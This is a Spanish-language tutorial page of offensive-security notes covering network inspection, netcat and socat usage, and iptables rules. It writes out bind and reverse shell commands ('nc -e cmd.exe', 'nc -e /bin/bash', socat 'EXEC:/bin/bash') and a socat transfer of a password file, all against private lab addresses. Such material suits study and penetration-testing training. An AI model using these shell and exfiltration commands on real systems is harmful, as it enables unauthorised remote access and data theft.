thebasshound.github.io

tips de ciberseguridad ofensiva en español

View on GitHub

Servicios de Red

Chequeo de actividad en la red

Existen 3 comandos principales para esta actividad netstat, ss y arp

netstat -natup nos muestra la comunicación que hay en la red así como el estado de la misma

ss es una versión más reciente de netstat y arp -en nos muestra la tabla de direcciones MAC alamacenadas en un equipo

El estatus ESTABLISHED indica que hay una conexión activa, CLOSE_WAIT indica que existe una conexión pendiente de cerrar por el socket.

Si un equipo se encuentra en escucha con la ip 0.0.0.0 significa que ese equipo esta en modo LISTENING en todas las interfaces.

sudo ss -natup nos puede mostrar el nombre del binario asociado a la conexión

Ruteo

El comando route nos permite observar el alcance de nuestra red, un host esta configurado para usar el gateway como router para acceder a la red.

Ejemplo de troubleshooting

Escenario: Se intenta alcanzar una ip dentro de cierto segmento, sin embargo, no esta dentro de la lista de ruteo

Untitled

Netcat (nc)

nc nos permite conectarnos por tcp o udp para validar si el puerto esta abierto, obtener un banner o funcionar en modo servidor.

El comando GET dentro de NC nos permite consultar servicios web, por ejemplo

kali@kali:~$nc -nv 192.168.65.61 80
(UNKNOWN) [192.168.65.61] 80 (http) open
GET / HTTP/1.1Host: 192.168.65.61

HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Fri, 08 Jul 2022 16:43:38 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive

767
<html>
...

Modo escucha(servidor)

kali@kali:~$nc -lvnp 6666
listening on [any] 6666 ...

Conexión hacia el servicio 6666 (cliente)

offensive@server01:~$nc -nv 192.168.65.200 6666
Connection to 192.168.65.200 6666 port [tcp/*] succeeded!
This is a chat message from the exercise host!

Transferencia de archivos con nc

Servidor

offensive@server01:~$nc -lvnp 6666 > incoming.txt
Listening on 0.0.0.0 6666

Creación y envío de archivo(cliente)

kali@kali:~$echo "This is an example of sending a file" > incoming.txt

kali@kali:~$nc -nv 192.168.65.61 6666 < incoming.txt
(UNKNOWN) [192.168.65.61] 6666 (?) open

Bind shell con nc

La opción -e permite la ejecución de una aplicación, por ejemplo cmd.exe

Servidor(Windows)

C:\Users\offsec>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.11.0.1

C:\Users\offsec>nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...

Cliente(linux)

kali@kali:~$ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0

kali@kali:~$nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\offsec>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.11.0.1

Untitled

Reverse Shell con nc

cliente

kali@kali:~$ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0

kali@kali:~$nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open

Servidor

C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482

ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0

El bind shell es fácilmente detectado por los firewalls, por otro lado el reverse shell será mas efectivo

Untitled

SOCAT

Cliente

socat - TCP4:<remote server's ip address>:80

Servidor

sudo socat TCP4-LISTEN:443 STDOUT

Transferencia de archivos

kali@kali:~$ **sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt**

C:\Users\offsec> **socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create**

Reverse shell (servidor)

C:\Users\offsec>socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443

Cliente

kali@kali:~$ **socat TCP4:10.11.0.22:443 EXEC:/bin/bash**

Otra forma de conectarse por bind socat TCP4:172.16.53.20:456 stdin

IPtables

Funciona como firewall stateless por default pero puede ser configurado como stateful.

Ejemplo regla de entrada

kali@kali:~$sudo iptables -s 192.168.1.0/24 -p all -A INPUT
[sudo] password for kali:

kali@kali:~$sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
           all  --  192.168.1.0/24       anywhere

Chain FORWARD (policy DROP)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Ejemplo para habilitar el trafico por el puerto 8080 al localhost

kali@kali:~$sudo iptables -R INPUT 1 -s 192.168.1.37 -d 127.0.0.1 -p tcp --dport 8080

kali@kali:~$sudo iptables -nL --line-numbers
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1               tcp  --  192.168.1.37         127.0.0.1            tcp dpt:8080
2    DROP       all  --  192.168.1.0/24       0.0.0.0/0
3               all  --  127.0.0.1            127.0.0.1
4               all  --  127.0.0.1            0.0.0.0/0

Chain FORWARD (policy DROP)
num  target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination